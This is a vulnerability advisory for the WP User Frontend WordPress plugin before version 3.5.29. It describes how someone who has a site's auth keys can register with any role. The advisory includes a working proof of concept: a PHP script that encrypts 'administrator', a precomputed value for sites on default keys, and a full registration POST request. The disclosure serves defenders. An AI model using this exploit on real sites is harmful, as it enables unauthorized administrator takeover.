WordPress Plugin Vulnerabilities

WP User Frontend < 3.5.29 - Obscure Registration as Admin

Description

The plugin uses a user supplied argument called urhidden in its registration form, which contains the role for the account to be created with, encrypted via wpuf_encryption(). This could allow an attacker having access to the AUTH_KEY and AUTH_SALT constant (via an arbitrary file access issue for example, or if the blog is using the default keys) to create an account with any role they want, such as admin

Proof of Concept

Generate the encrypted string for 'administrator' via the script below. If the default salts/keys are used in the wp-config.php file then the encrypted string for an administrator account is: "bXFaYVc1WjJlNzlXTXRsbkxSZFptdz09"

<?php
$secret_key = 'REPLACE_ME_WITH_AUTH_KEY'; // AUTH_KEY
$secret_iv    = 'REPLACE_ME_WITH_AUTH_SALT'; // AUTH_SALT

$encrypt_method = 'AES-256-CBC';
$key            = hash( 'sha256', $secret_key );
$iv             = substr( hash( 'sha256', $secret_iv ), 0, 16 );
$encoded_id     = base64_encode( openssl_encrypt( 'administrator', $encrypt_method, $key, 0, $iv ) );

echo $encoded_id . "\r\n";
?>


1. Visit the registration page of the plugin
2. Edit the form HTML and change the input "urhidden" to the generated encrypted value
3. Submit the registration, you will now have an administrator level account.


POST /wpuf-registration/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 234
Connection: close
Upgrade-Insecure-Requests: 1

reg_fname=Attacker&reg_lname=Admin&reg_email=attacker%40localhost.org&log=attacker&pwd1=Passw0rd&pwd2=Passw0rd&wp-submit=Register&urhidden=XXXXXXXXXXXXXXXXXXXX&wpuf_registration=true&action=registration&_wpnonce=b6c5a58299

Affects Plugins

Fixed in 3.5.29

References

Classification

Miscellaneous

Original Researcher
AyeCode Ltd
Submitter
Stiofan
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-10-31 (about 1 years ago)
Added
2022-10-31 (about 1 years ago)
Last Updated
2022-10-31 (about 1 years ago)

Other